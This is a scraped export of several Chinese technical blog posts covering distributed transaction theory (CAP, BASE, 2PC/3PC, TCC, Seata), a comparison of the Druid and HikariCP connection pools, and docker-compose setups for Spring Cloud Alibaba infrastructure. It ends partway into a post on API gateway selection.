在M和S1无法建立通信的这段时间，系统要进行错误恢复，恢复的这段时间系统对外是不可用状态，而可用性要求每个请求都会收到一个响应，所以无法保证可用性。恢复完成后，系统在可用状态下的数据是一致的，保证了一致性。\n注意：上述当我们放弃一致性是指放弃数据的强一致性，而保留数据的最终一致性，这样的系统无法保证数据保持实时的一致性，但是能够承诺的是，数据最终会达到一个一致的状态，这就引入了一个时间窗口的概念，具体多久能够达到数据一致取决于系统的设计，主要包括数据副本在不同节点之间的复制时间长短。面对CAP，在做系统设计时我们会把更多的精力花在如何在C和A之间寻找平衡。\nBASE 理论 “\nEric Brewer在1997发表的论文 Cluster-Based Scalable Network Services 中第一次提出 BASE 的概念；eBay的架构师Dan Pritchett 在 2008 年发表文章 BASE: An AcidAlternative 中第一次明确提出的 BASE 理论。\n”\nBASE是Basically Available（基本可用）、Soft state（软状态）和Eventually consistent（最终一致性）三个短语的简写，BASE是对CAP中一致性和可用性权衡的结果，其来源于对大规模互联网系统分布式实践的结论，是基于CAP定理逐步演化而来的，其核心思想是即使无法做到强一致性（Strong consistency），但每个应用都可以根据自身的业务特点，采用适当的方式来使系统达到最终一致性（Eventual consistency）。\n基本可用\n基本可用是指分布式系统在出现不可预知故障的时候，允许损失部分可用性：\n响应时间上的损失\n功能上的损失(降级页面)\n弱状态 弱状态也称为软状态，和硬状态相对，是指允许系统中的数据存在中间状态，并认为该中间状态的存在不会影响系统的整体可用性，即允许系统在不同节点的数据副本之间进行数据同步的过程存在延时。\n最终一致性 最终一致性强调的是系统中所有的数据副本，在经过一段时间的同步后，最终能够达到一个一致的状态。因此，最终一致性的本质是需要系统保证最终数据能够达到一致，而不需要实时保证系统数据的强一致性。\n协议与算法 为了解决分布式一致性的问题，在长期的探索研究过程中，涌现出了一大批经典的一致性协议和算法，比如二阶段、三阶段提交协议、Paxos、Raft（muti-paxos）、ZAB（muti-paxos）算法等。\n有关分布式共识（Consensus）算法的原理和实现，请参考其他资料，本文重点是分布式事务，就不过多介绍了。\n分布式事务 2PC与3PC 事务 事务处理是计算机科学中的信息处理，分为单独的，不可分割的操作，称为事务。每个交易必须作为一个完整的单元成功或失败；它永远不可能仅是部分完成。事务应该具有 4 个属性：原子性、一致性、隔离性、持久性。这四个属性通常称为 ACID 特性。\n在集中式单体应用中，我们将事务操作的ACID交给数据库保证，比如Mysql通过自己实现的功能保证了ACID。\n分布式事务 分布式事务是其中涉及两个或更多网络主机的数据库事务。通常，主机提供事务资源，而事务管理器负责创建和管理包含针对此类资源的所有操作的全局事务。与其他任何事务一样，分布式事务必须具有所有四个ACID（原子性，一致性，隔离性，持久性）属性，其中原子性保证工作单元的全部或全部结果。\n对于一个分布式事务，它涉及多个DB的操作，这里的难点是在不可靠的网络环境下如何保证多数据库数据操作的一致性。\n回想我们前面提到的解决一致性问题的协议，这其中二阶段、三阶段提交协议就是解决这个问题的理论基础。\nXA和2PC、3PC X/Open 是1984年由多个公司联合创建的一个用于定义和推进信息技术领域开放标准的公司，X/Open和开放软件基金会合并为The Open Group，并在1993-1996管理UNIX这个商标。\nXA 的全称是eXtended Architecture。是1991年由 X/Open 发布的规范，用于分布式事务处理（DTP）。它是一个分布式事务协议，它通过二阶段提交协议保证强一致性。DTP模型已成为事务模型组件行为的事实上的标准。\n下图是我从Open Group标准文件中对DTP模型部分的截图：\nDTP模型抽象 AP（应用程序）, TM（事务管理器）和 RM（资源管理器）的概念来保证分布式事务的强一致性。其中 TM 与 RM 间采用 XA 的协议进行双向通信。\n与传统的本地事务相比，XA 事务增加了准备阶段，数据库除了被动接受提交指令外，还可以反向通知调用方事务是否可以被提交。TM 可以收集所有分支事务的准备结果，并于最后进行原子提交，以保证事务的强一致性。\nJava 通过定义 JTA 接口实现了 XA 模型，JTA 接口中的 ResourceManager 需要数据库厂商提供 XA 驱动实现， TransactionManager 则需要事务管理器的厂商实现，传统的事务管理器需要同应用服务器绑定，因此使用的成本很高。而嵌入式的事务管器可以以 jar 包的形式提供服务，同 Apache ShardingSphere 集成后，可保证分片后跨库事务强一致性。\n通常，只有使用了事务管理器厂商所提供的 XA 事务连接池，才能支持 XA 的事务。Apache ShardingSphere 在整合 XA 事务时，采用分离 XA 事务管理和连接池管理的方式，做到对应用程序的零侵入。\n二阶段提交协议\n上面我们说过，DTP是通过二阶段提交协议保证强一致性。那么什么是二阶段提交协议?\n“\n在分布式系统中，每个节点虽然可以知晓自己的操作时成功或者失败，却无法知道其他节点的操作的成功或失败。当一个事务跨越多个节点时，为了保持事务的ACID特性，需要引入一个作为协调者的组件来统一掌控所有节点（称作参与者）的操作结果并最终指示这些节点是否要把操作结果进行真正的提交（比如将更新后的数据写入磁盘等等）。因此，二阶段提交的算法思路可以概括为：参与者将操作成败通知协调者，再由协调者根据所有参与者的反馈情报决定各参与者是否要提交操作还是中止操作。\n”\n所谓的两个阶段是指：\n第一阶段：准备阶段 (投票阶段) 第二阶段：提交阶段（执行阶段） 二阶段提交“事务提交”示意图：二阶段提交“事务回滚”示意图：\n至此，我们可以知道，所谓使用XA事务，就是利用XA的DTP模型，而DTP的一致性又是二阶段提交协议保证的。\n三阶段提交协议\n两阶段提交协议有它的优点，但缺点也很明显：\n同步阻塞 所有事务参与者在等待其它参与者响应的时候都处于同步阻塞状态，无法进行其它操作。 单点问题 协调者在 2PC 中起到非常大的作用，发生故障将会造成很大影响。特别是在阶段二发生故障，所有参与者会一直等待状态，无法完成其它操作 数据不一致 在阶段二，如果协调者只发送了部分 Commit 消息，此时网络发生异常，那么只有部分参与者接收到 Commit 消息，也就是说只有部分参与者提交了事务，使得系统数据不一致。 太过保守 任意一个节点失败就会导致整个事务失败，没有完善的容错机制。 三阶段提交(Three-phase commit)，是为解决两阶段提交协议的缺点而设计的。与两阶段提交不同的是，三阶段提交是“非阻塞”协议。\n与两阶段提交不同的是，三阶段提交有两个改动点。\n引入超时机制。同时在协调者和参与者中都引入超时机制。 在第一阶段和第二阶段中插入一个准备阶段。保证了在最后提交阶段之前各参与节点的状态是一致的。 也就是说，除了引入超时机制之外，3PC把2PC的准备阶段再次一分为二，这样三阶段提交就有CanCommit、PreCommit、DoCommit三个阶段。\n相对于2PC，3PC主要解决的是单点故障问题，并减少阻塞，因为一旦参与者无法及时收到来自协调者的信息之后，他会默认执行commit。而不会一直持有事务资源并处于阻塞状态。\n但是这种机制也会导致数据一致性问题，因为，由于网络原因，协调者发送的abort响应没有及时被参与者接收到，那么参与者在等待超时之后执行了commit操作。这样就和其他接到abort命令并执行回滚的参与者之间存在数据不一致的情况\n了解了2PC和3PC之后，我们可以发现，无论是二阶段提交还是三阶段提交都无法彻底解决分布式的一致性问题。Google Chubby的作者Mike Burrows说过， there is only one consensus protocol, and that’s Paxos” – all other approaches are just broken versions of Paxos. 意即世上只有一种一致性算法，那就是Paxos，所有其他一致性算法都是Paxos算法的不完整版\n分布式事务解决方案 通过上文的描述，其余我们已经知道了一种分布式事务的解决方案，即基于二阶段提交协议的XA事务。那么还有哪些其他方案呢？下面列举一些。\nTCC 关于 TCC（Try-Confirm-Cancel）的概念，最早是由 Pat Helland 于 2007 年发表的一篇名为《Life beyond Distributed Transactions:an Apostate’s Opinion》的论文提出。TCC 事务机制相比于上面介绍的 XA，解决了其几个缺点：\n解决了协调者单点，由主业务方发起并完成这个业务活动。业务活动管理器也变成多点，引入集群。同步阻塞：引入超时，超时后进行补偿，并且不会锁定整个资源，将资源转换为业务逻辑形式，粒度变小。\n数据一致性，有了补偿机制之后，由业务活动管理器控制一致性\nTCC(Try Confirm Cancel)\nTry 阶段：尝试执行，完成所有业务检查（一致性）, 预留必须业务资源（准隔离性） Confirm 阶段：确认执行真正执行业务，不作任何业务检查，只使用 Try 阶段预留的业务资源，Confirm 操作满足幂等性。要求具备幂等设计，Confirm 失败后需要进行重试。 Cancel 阶段：取消执行，释放 Try 阶段预留的业务资源 Cancel 操作满足幂等性 Cancel 阶段的异常和 Confirm 阶段异常处理方案基本上一致。 在 Try 阶段，是对业务系统进行检查及资源预览，比如订单和存储操作，需要检查库存剩余数量是否够用，并进行预留，Try 阶段操作是对这个可用库存数量进行操作。\n基于 TCC 实现分布式事务，会将原来只需要一个接口就可以实现的逻辑拆分为 Try、Confirm、Cancel 三个接口，所以代码实现复杂度相对较高。\n本地消息表 本地消息表这个方案最初是 ebay 架构师 Dan Pritchett 在 2008 年发表给 ACM 的文章。该方案中会有消息生产者与消费者两个角色，假设系统 A 是消息生产者，系统 B 是消息消费者，其大致流程如下：\n当系统 A 被其他系统调用发生数据库表更操作，首先会更新数据库的业务表，其次会往相同数据库的消息表中插入一条数据，两个操作发生在同一个事务中 系统 A 的脚本定期轮询本地消息往 mq 中写入一条消息，如果消息发送失败会进行重试 系统 B 消费 mq 中的消息，并处理业务逻辑。如果本地事务处理失败，会在继续消费 mq 中的消息进行重试，如果业务上的失败，可以通知系统 A 进行回滚操作 本地消息表实现的条件：\n消费者与生成者的接口都要支持幂等 生产者需要额外的创建消息表 需要提供补偿逻辑，如果消费者业务失败，需要生产者支持回滚操作 容错机制：\n步骤 1 失败时，事务直接回滚 步骤 2、3 写 mq 与消费 mq 失败会进行重试 步骤 3 业务失败系统 B 向系统 A 发起事务回滚操作 此方案的核心是将需要分布式处理的任务通过消息日志的方式来异步执行。消息日志可以存储到本地文本、数据库或消息队列，再通过业务规则自动或人工发起重试。人工重试更多的是应用于支付场景，通过对账系统对事后问题的处理。\n可靠消息最终一致性 大致流程如下\nA 系统先向 mq 发送一条 prepare 消息，如果 prepare 消息发送失败，则直接取消操作 如果消息发送成功，则执行本地事务 如果本地事务执行成功，则 mq 发送一条 confirm 消息，如果发送失败，则发送回滚消息 B 系统定期消费 mq 中的 confirm 消息，执行本地事务，并发送 ack 消息。如果 B 系统中的本地事务失败，会一直不断重试，如果是业务失败，会向 A 系统发起回滚请求 mq 会定期轮询所有 prepared 消息调用系统 A 提供的接口查询消息的处理情况，如果该 prepare 消息本地事务处理成功，则重新发送 confirm 消息，否则直接回滚该消息 该方案与本地消息最大的不同是去掉了本地消息表，其次本地消息表依赖消息表重试写入 mq 这一步由本方案中的轮询 prepare 消息状态来重试或者回滚该消息替代。其实现条件与余容错方案基本一致。目前市面上实现该方案的有阿里的 RocketMq。\n尽最大努力通知 最大努力通知是最简单的一种柔性事务，适用于一些最终一致性时间敏感度低的业务，且被动方处理结果 不影响主动方的处理结果。\n这个方案的大致意思就是：\n系统 A 本地事务执行完之后，发送个消息到 MQ； 这里会有个专门消费 MQ 的服务，这个服务会消费 MQ 并调用系统 B 的接口； 要是系统 B 执行成功就 ok 了；要是系统 B 执行失败了，那么最大努力通知服务就定时尝试重新调用系统 B, 反复 N 次，最后还是不行就放弃。 Seata Seata 是什么? Seata 是一款开源的分布式事务解决方案，致力于提供高性能和简单易用的分布式事务服务。Seata 将为用户提供了 AT、TCC、SAGA 和 XA 事务模式，为用户打造一站式的分布式解决方案。\n基于 Seata 的 AT 模式构建企业业务的分布式事务解决方案，可以带来以下 3 个方面的 核心价值\n低成本：编程模型 不变，轻依赖 不需要为分布式事务场景做特定设计，业务像搭积木一样自然地构建成长。 高性能：协议 不阻塞；资源释放快，保证业务的吞吐。 高可用：极端的异常情况下，可以暂时 跳过异常事务，保证整个业务系统的高可用。 Seata目前提供四种事务模型：\n我们日常比较常用的是 AT和TCC，一种是无侵入的，一种是侵入性比较强的，在下面的文章中，我们将逐个说明。\nSeata的架构： 3 个组件：TM（Transaction Manager）、RM（Resource Manager） 和 TC（Transaction Coordinator）。\n一个典型的事务过程：\nTM 向 TC 申请开启一个全局事务，全局事务创建成功并生成一个全局唯一的 XID。 XID 在微服务调用链路的上下文中传播。 RM 向 TC 注册分支事务，将其纳入 XID 对应全局事务的管辖。 TM 向 TC 发起针对 XID 的全局提交或回滚决议。 TC 调度 XID 下管辖的全部分支事务完成提交或回滚请求。 Seata 的 全局事务 处理过程，分为两个阶段：\n执行阶段 ：执行 分支事务，并 保证 执行结果满足是 可回滚的（Rollbackable） 和 持久化的（Durable）。 完成阶段：根据 执行阶段 结果形成的决议，应用通过 TM 发出的全局提交或回滚的请求给 TC，TC 命令 RM 驱动 分支事务 进行 Commit 或 Rollback。 Seata 的所谓 事务模式 是指：运行在 Seata 全局事务框架下的 分支事务 的行为模式。准确地讲，应该叫作 分支事务模式。从这两个阶段的划分我们也能看出Seata也是基于二阶段提交协议的实现。\nAT 模式 所谓AT模式，即自动事务（Automatic transaction）\n执行阶段：\n可回滚：根据 SQL 解析结果，记录回滚日志 持久化：回滚日志和业务 SQL 在同一个本地事务中提交到数据库 完成阶段：\n分支提交：异步删除回滚日志记录 分支回滚：依据回滚日志进行反向补偿更新 TCC 模式 执行阶段：\n调用业务定义的 Try 方法（完全由业务层面保证 可回滚 和 持久化） 完成阶段：\n分支提交：调用各事务分支定义的 Confirm 方法 分支回滚：调用各事务分支定义的 Cancel 方法 未完待续 后面的文章我们将结合具体例子来看下Seata中AT、TCC这两个模式是如何落地以及在开发过程中遇到的问题，敬请期待。\n关注公众号 获取更多精彩内容\n","date":"2020-10-27T04:43:15Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-10-27-fen-bu-shi-shi-wu-cong-li-lun-dao-shi-jian-yi/cover.jpg","permalink":"/p/2020-10-27-fen-bu-shi-shi-wu-cong-li-lun-dao-shi-jian-yi/","title":"分布式事务：从理论到实践（一）"},{"content":"数据库连接池选型 Druid vs HikariCP 这里主要比较HikariCP 和阿里的Druid 这里有来自Druid的竞品对比：https://github.com/alibaba/druid/wiki/Druid%E8%BF%9E%E6%8E%A5%E6%B1%A0%E4%BB%8B%E7%BB%8D\nspringboot 现在官方默认的数据库连接池是 HikariCP，HikariCP的性能从测试的数据上来看也是最高的。\n所以我们主要对比Druid和HikariCP\n先来看下这个著名的issue 一个印度小哥提的 issue brettwooldridge 这边主要针对性能和在中国以外的地方用的少的问题 温绍这边说，由于使用公平锁所以降低了性能，至于为什么是因为在生产环境中遇到的一些问题，使设计使然。 温绍同时也强调我们淘宝体量大，并发高，顺便甩了个带有马爸爸照片的链接，让他了解一下淘宝 brettwooldridge 这边回应 :比量是吧？（内心潜台词）\nwix.com托管着超过1.09亿个网站，每天处理的请求超过10亿个\nAtlassian的产品拥有数百万的客户\nHikariCP是使用Play框架，Slick，JOOS构建的每个应用的默认连接池\n老子现在是spring boot的默认连接池\nHikariCP每月从中央Maven存储库中解析超过300,000次。\n同时也甩了个链接，让你看看我HikariCP的名望 看完热闹，说回正题 功能角度考虑，Druid 功能更全面，除具备连接池基本功能外，还支持sql级监控、扩展、SQL防注入等。最新版甚至有集群监控 单从性能角度考虑，从数据上确实HikariCP要强，但Druid有更多、更久的生产实践，它可靠。 单从监控角度考虑，如果我们有像skywalking、prometheus等组件是可以将监控能力交给这些的 HikariCP 也可以将metrics暴露出去。 总结 由于我们的系统架构上有专门用于监控的系统（skywalking、prometheus），外加使用了阿里云的RDS，RDS也有完整数据库监控指标。所以我们可以将监控的功能交给这些系统，让数据库连接池专心做好连接池的本职工作，所以我们选择性能更好的 HikariCP 做为数据库连接池。由于我们使用了Spring boot ,HikariCP 是内置的，也更方便配置使用，能做到开箱即用。\n关注公众号 获取更多精彩内容\n","date":"2020-10-21T07:30:56Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-10-21-shu-ju-ku-lian-jie-chi-xuan-xing-druid-vs-hikaricp/cover.jpg","permalink":"/p/2020-10-21-shu-ju-ku-lian-jie-chi-xuan-xing-druid-vs-hikaricp/","title":"数据库连接池选型 Druid vs HikariCP"},{"content":"spring cloud 二代架构依赖组件 docker全配置放送 一 背景介绍 先来看一下我们熟悉的第一代 spring cloud 的组件 组件名称 功能 Ribbon 客户端负载均衡器 Eureka 服务治理（注册、发现\u0026hellip;\u0026hellip;） Hystrix 服务之间远程调用时的熔断保护 Feign 通过定义接口的方式直接调用其他服务的 API Zuul 分布式配置组件 Config 服务网关 Sleuth 用于请求链路跟踪 spring cloud 现在已经是一种标准了，各公司可以基于它的编程模型编写自己的组件 ，比如Netflix、阿里巴巴都有自己的一套通过spring cloud 编程模型开发的分布式服务组件 。\nSpring Cloud 二代组件 Spring Cloud Alibaba 主要包含 Sentinel、Nacos、RocketMQ、Dubbo、Seata 等组件。\n二代引入了 Spring Cloud Alibaba\n第一代组件 第二代组件 Eureka Nacos Config Apollo Zuul spring cloud gateway Hystrix Sentinel 再加上我们常用的组件 组件 功能 XXL-Job 分布式定时任务中心 Redis 分布式缓存 Rocket-MQ 消息队列 Seata 分布式事务 ELK 日志处理 Skywalking 调用链监控 Prometheus metrics监控 这其有中除 spring cloud gateway都需要外部单独部署服务来支持\n二 利用docker-compose 进行本地简化部署 apollo 1version: \u0026#39;2\u0026#39; 2 3services: 4 apollo-quick-start: 5 image: nobodyiam/apollo-quick-start 6 container_name: apollo-quick-start 7 depends_on: 8 - apollo-db 9 ports: 10 - \u0026#34;8080:8080\u0026#34; 11 - \u0026#34;8070:8070\u0026#34; 12 links: 13 - apollo-db 14 15 apollo-db: 16 image: mysql:5.7 17 container_name: apollo-db 18 environment: 19 TZ: Asia/Shanghai 20 MYSQL_ALLOW_EMPTY_PASSWORD: \u0026#39;yes\u0026#39; 21 depends_on: 22 - apollo-dbdata 23 ports: 24 - \u0026#34;13306:3306\u0026#34; 25 volumes: 26 - ./sql:/docker-entrypoint-initdb.d 27 volumes_from: 28 - apollo-dbdata 29 30 apollo-dbdata: 31 image: alpine:latest 32 container_name: apollo-dbdata 33 volumes: 34 - /var/lib/mysql 注意： ./sql下面的文件在这里（https://github.com/ctripcorp/apollo/tree/master/scripts/sql），是两个初始化的sql文件\nnacos 1version: \u0026#34;2\u0026#34; 2services: 3 nacos: 4 image: nacos/nacos-server:latest 5 container_name: nacos-standalone-mysql 6 env_file: 7 - ./env/nacos-standlone-mysql.env 8 volumes: 9 - ./standalone-logs/:/home/nacos/logs 10 - ./init.d/custom.properties:/home/nacos/init.d/custom.properties 11 ports: 12 - \u0026#34;8848:8848\u0026#34; 13 - \u0026#34;9555:9555\u0026#34; 14 depends_on: 15 - mysql 16 restart: on-failure 17 mysql: 18 container_name: mysql 19 image: nacos/nacos-mysql:5.7 20 env_file: 21 - ./env/mysql.env 22 volumes: 23 - ./mysql:/var/lib/mysql 24 ports: 25 - \u0026#34;3308:3306\u0026#34; redis 1version: \u0026#39;2\u0026#39; 2services: 3 #redis容器 4 redis: 5 #定义主机名 6 container_name: redis 7 #使用的镜像 8 image: redis:6.0.8 9 #容器的映射端口 10 ports: 11 - 6379:6379 12 command: redis-server /etc/conf/redis.conf 13 #定义挂载点 14 volumes: 15 - ./data:/data 16 - ./conf:/etc/conf 17 #环境变量 18 privileged: true 19 environment: 20 - TZ=Asia/Shanghai 21 - LANG=en_US.UTF-8 注意： conf下的redis.conf配置文件可以找个默认的模版文件，然后进行相应修改\nrocket-mq 1version: \u0026#39;2\u0026#39; 2 3services: 4 #Service for nameserver 5 namesrv: 6 image: apacherocketmq/rocketmq-nameserver:4.5.0-alpine-operator-0.3.0 7 container_name: rmqnamesrv 8 ports: 9 - 9876:9876 10 volumes: 11 - ./data/namesrv/logs:/home/rocketmq/logs 12 command: sh mqnamesrv 13 environment: 14 TZ: Asia/Shanghai 15 JAVA_OPT_EXT: \u0026#34;-server -Xms512m -Xmx512m -Xmn256m\u0026#34; 16 17 #Service for broker 18 broker: 19 image: apacherocketmq/rocketmq-broker:4.5.0-alpine-operator-0.3.0 20 container_name: rmqbroker-a 21 depends_on: 22 - namesrv 23 ports: 24 - 10909:10909 25 - 10911:10911 26 - 10912:10912 27 environment: 28 NAMESRV_ADDR: namesrv:9876 29 JAVA_OPT_EXT: \u0026#34;-server -Xms512m -Xmx512m -Xmn256m\u0026#34; 30 volumes: 31 - ./data/broker/logs:/home/rocketmq/logs 32 - ./data/broker/store:/home/rocketmq/store 33 - ./data/broker/conf/broker.conf:/opt/rocketmq-4.7.1/conf/broker.conf 34 35 command: sh mqbroker -c /opt/rocketmq-4.7.1/conf/broker.conf 36 37 #Service for another broker -- broker1 38 broker1: 39 image: apacherocketmq/rocketmq-broker:4.5.0-alpine-operator-0.3.0 40 container_name: rmqbroker-b 41 depends_on: 42 - namesrv 43 ports: 44 - 10929:10909 45 - 10931:10911 46 - 10932:10912 47 environment: 48 NAMESRV_ADDR: namesrv:9876 49 JAVA_OPT_EXT: \u0026#34;-server -Xms512m -Xmx512m -Xmn256m\u0026#34; 50 volumes: 51 - ./data1/broker/logs:/home/rocketmq/logs 52 - ./data1/broker/store:/home/rocketmq/store 53 - ./data1/broker/conf/broker.conf:/opt/rocketmq-4.7.1/conf/broker.conf 54 command: sh mqbroker -c /opt/rocketmq-4.7.1/conf/broker.conf 55 56 rmqconsole: 57 image: styletang/rocketmq-console-ng 58 container_name: rmqconsole 59 ports: 60 - 8180:8080 61 environment: 62 TZ: Asia/Shanghai 63 JAVA_OPTS: \u0026#34;-Drocketmq.namesrv.addr=namesrv:9876 -Dcom.rocketmq.sendMessageWithVIPChannel=false\u0026#34; 64 depends_on: 65 - namesrv 此外还有两个配置文件\n./data/broker/conf/broker.conf ./data1/broker/conf/broker.conf 1## ./data/broker/conf/broker.conf 2brokerClusterName = DefaultCluster 3brokerName = broker-abroker 4Id = 0 5deleteWhen = 04 6fileReservedTime = 48 7brokerRole = ASYNC_MASTER 8flushDiskType = ASYNC_FLUSH 9 10### ./data1/broker/conf/broker.conf 11brokerClusterName = Default 12ClusterbrokerName = broker-bbroker 13Id = 0 14deleteWhen = 04 15fileReservedTime = 48 16brokerRole = ASYNC_MASTER 17flushDiskType = ASYNC_FLUSH seata-server 1version: \u0026#34;3.1\u0026#34; 2services: 3 seata-server: 4 image: seataio/seata-server:latest 5 hostname: seata-server 6 ports: 7 - 8091:8091 8 environment: 9 - SEATA_PORT=8091 10 expose: 11 - 8091 sentinel 没有现成的docker镜像，需要自己编写一个 1FROM openjdk:8 2 3#复制上下文目录下的jar包到容器里 使用COPY命令亦可 4ADD sentinel-dashboard-1.8.0.jar sentinel-dashboard-1.8.0.jar 5 6EXPOSE 8080 7 8#指定容器启动程序及参数 \u0026lt;ENTRYPOINT\u0026gt; \u0026#34;\u0026lt;CMD\u0026gt;\u0026#34; 9ENTRYPOINT [\u0026#34;java\u0026#34;,\u0026#34;-jar\u0026#34;,\u0026#34;sentinel-dashboard-1.8.0.jar\u0026#34;] 利用自己编译的镜像再编写docker-compose配置文件 1version: \u0026#39;3\u0026#39; 2services: 3 sentinel-dashboard: 4 image: sentinel-dashboard:1.8.0 5 container_name: sentinel-dashboard 6 restart: always 7 environment: 8 JAVA_OPTS: \u0026#34;-Dserver.port=8080 -Dcsp.sentinel.dashboard.server=localhost:8080 -Dproject.name=sentinel-dashboard -Djava.security.egd=file:/dev/./urandom -Dcsp.sentinel.api.port=8719\u0026#34; 9 ports: #避免出现端口映射错误，建议采用字符串格式 8080端口为Dockerfile中EXPOSE端口 10 - \u0026#34;58080:8080\u0026#34; 11 - \u0026#34;8719:8719\u0026#34; 12 volumes: 13 - ./root/logs:/root/logs xxl-job 1version: \u0026#39;3\u0026#39; 2services: 3 xxl-job-admin: 4 image: xuxueli/xxl-job-admin:2.2.0 5 restart: always 6 container_name: xxl-job-admin 7 depends_on: 8 - mysql 9 environment: 10 PARAMS: \u0026#39;--spring.datasource.url=jdbc:mysql://mysql:3306/xxl_job?Unicode=true\u0026amp;characterEncoding=UTF-8 --spring.datasource.username=root --spring.datasource.password=root\u0026#39; 11 ports: 12 - 8067:8080 13 volumes: 14 - ./data/applogs:/data/applogs 注意： 这时引用的数据库是你现有的mysql，找一个现有的，因为为了它再新建一个容器有点儿浪费\nprometheus(altermanager+prometheus+grafana) 1version: \u0026#39;3\u0026#39; 2services: 3 prometheus: 4 image: prom/prometheus:latest 5 container_name: prometheus 6 volumes: 7 - /opt/docker_compose/monitor/prometheus/prometheus.yml:/etc/prometheus/prometheus.yml 8 - /opt/docker_compose/monitor/prometheus/alertmanager_rules.yml:/etc/prometheus/alertmanager_rules.yml 9 ports: 10 - 9090:9090 11 command: 12 - \u0026#39;--config.file=/etc/prometheus/prometheus.yml\u0026#39; 13 14 grafana: 15 image: grafana/grafana 16 container_name: grafana 17 restart: always 18 hostname: grafana 19 volumes: 20 - /opt/docker_compose/monitor/grafana/grafana.ini:/etc/grafana/grafana.ini 21 ports: 22 - \u0026#34;3000:3000\u0026#34; 23 24 alertmanager: 25 image: prom/alertmanager:latest 26 container_name: alertmanager 27 hostname: alertmanager 28 restart: always 29 volumes: 30 - /opt/docker_compose/monitor/altermanager/alertmanager.yml:/etc/alertmanager/alertmanager.yml 31 ports: 32 - \u0026#34;9093:9093\u0026#34; 33 34 prometheus-webhook-alert: 35 image: timonwong/prometheus-webhook-dingtalk:v1.3.0 36 container_name: prometheus-webhook-alertmanagers 37 hostname: webhook-alertmanagers 38 restart: always 39 volumes: 40 - /opt/docker_compose/monitor/prometheus-webhook-dingtalk/config.yml:/etc/prometheus-webhook-dingtalk/config.yml 41 - /etc/localtime:/etc/localtime 42 ports: 43 - \u0026#34;8060:8060\u0026#34; 44 entrypoint: /bin/prometheus-webhook-dingtalk --config.file=/etc/prometheus-webhook-dingtalk/config.yml --web.enable-ui 这里我的alter没有用grafana的，而是结合altermanager和 prometheus-webhook-dingtalk实现的钉钉告警。关于prometheus、altermanager、grafana都是常规配置大家可以找模板然后根据自己的需求修改，唯一需要说明的就是prometheus-webhook-dingtalk，虽然github上说明可以配置通知模版，但最新版本的，我怎么修改也不成，是个问题。 需要观察以后版本会不会好，或者直接上手改它的go代码。\nskywalking 1version: \u0026#39;3.3\u0026#39; 2services: 3 elasticsearch: 4 image: docker.elastic.co/elasticsearch/elasticsearch:7.5.0 5 container_name: elasticsearch 6 restart: always 7 ports: 8 - 9200:9200 9 - 9300:9300 10 environment: 11 - discovery.type=single-node 12 - bootstrap.memory_lock=true 13 network_mode: bridge 14 volumes: 15 - /data/docker_compose/skywalking/es/config/jvm.options:/usr/share/elasticsearch/config/jvm.options:rw 16 - /data/docker_compose/skywalking/es/config/elasticsearch.yml:/usr/share/elasticsearch/config/elasticsearch.yml 17 - /data/docker/elk/elk_elastic/data:/usr/share/elasticsearch/data:rw 18 ulimits: 19 memlock: 20 soft: -1 21 hard: -1 22 oap: 23 image: apache/skywalking-oap-server:8.1.0-es7 24 container_name: oap 25 depends_on: 26 - elasticsearch 27 links: 28 - elasticsearch 29 network_mode: bridge 30 restart: always 31 ports: 32 - 11800:11800 33 - 12800:12800 34 environment: 35 SW_ES_USER: elastic 36 SW_ES_PASSWORD: oasises 37 SW_STORAGE: elasticsearch7 38 SW_STORAGE_ES_CLUSTER_NODES: elasticsearch:9200 39 SW_TRACE_SAMPLE_RATE: 8000 40 ui: 41 image: apache/skywalking-ui:8.1.0 42 container_name: ui 43 network_mode: bridge 44 depends_on: 45 - oap 46 links: 47 - oap 48 restart: always 49 ports: 50 - 8083:8080 51 environment: 52 SW_OAP_ADDRESS: oap:12800 注意： es的详细配置文件需要你自己写哈。\nkibana(ELK) 1version: \u0026#39;2\u0026#39; 2services: 3 elk-logstash: 4 image: docker.elastic.co/logstash/logstash:7.5.0 5 container_name : elk_logstash 6 hostname: elk_logstash 7 stdin_open: true 8 tty: true 9 ports: 10 - \u0026#34;5000:5000/udp\u0026#34; 11 - 5001:5001 12 command: logstash --path.settings /etc/logstash -f /etc/logstash/conf.d/logstash.conf 13 external_links: 14 - elasticsearch 15 network_mode: bridge 16 volumes: 17 - /data1/docker/elk/elk_logstash/conf.d:/etc/logstash/conf.d 18 - /data1/docker/elk/elk_logstash/heapdump.hprof:/usr/share/logstash/heapdump.hprof -rw 19 - /data1/docker/elk/elk_logstash/gc.log:/usr/share/logstash/gc.log -rw 20 21 elk-kibana: 22 image: docker.elastic.co/kibana/kibana:7.5.0 23 container_name : elk_kibana 24 hostname: elk_kibana 25 stdin_open: true 26 tty: true 27 ports: 28 - 5601:5601 29 external_links: 30 - elasticsearch 31 network_mode: bridge 32 volumes: 33 - /data1/docker/elk/elk_kibana/config/kibana.yml:/usr/share/kibana/config/kibana.yml 34 environment: 35 - ELASTICSEARCH_URL=http://elasticsearch:9200 由于ES一般我们会建集群，这里忽略ES容器 logstash和kibana的相关配置也可从官网找到模版进行修改 关注公众号 获取更多精彩内容\n","date":"2020-10-19T12:44:35Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2020-10-19-spring-cloud-er-dai-jia-gou-yi-lai-zu-jian-docker-quan-pei-z/cover.jpg","permalink":"/p/2020-10-19-spring-cloud-er-dai-jia-gou-yi-lai-zu-jian-docker-quan-pei-z/","title":"spring cloud 二代架构依赖组件 docker全配置放送"},{"content":"API 网关选型及包含 BFF 的架构设计 一 背景介绍 下图是我从网络上找到的一个微服务架构的简单架构图，如图可见 API Gateway 在其中起到一个承上启下的作用，是关键组件。\n图片来源于网络\n在更通用的场景下我们会使用 NGINX 这样的软件做前置，用来处理SLB负载均衡过来的流量，作用是反向代理、集群负载均衡、转发、日志收集等功能。\n然后再将 NGINX 的请求 proxy 到 API Gateway 做统一网关处理。\n在上面的这个场景下 API Gateway 可以包含以下功能：\n安全 限流 缓存 熔断 重试 负载 反向路由 认证、鉴权 日志收集和监控 其他 熟悉 NGINX 的朋友应该可以看出来，上面列出的这些功能和 NGINX 的部分功能是重合的，不过由于架构结构不同，在上面我提到的场景中，即 NGINX 在前 API gateway 在后的结构中，他们两者关注的维度也不一样，所以即使有重合也正常。\n二 架构调整 下图是我基于云原生微服务架构设计的架构图其中前端流量是通过 SLB -\u0026gt; NGINX -\u0026gt; API Gateway 再到具体服务。\n三 java技术栈的 API Gateway 选型 由于后端采用java 的 spring cloud 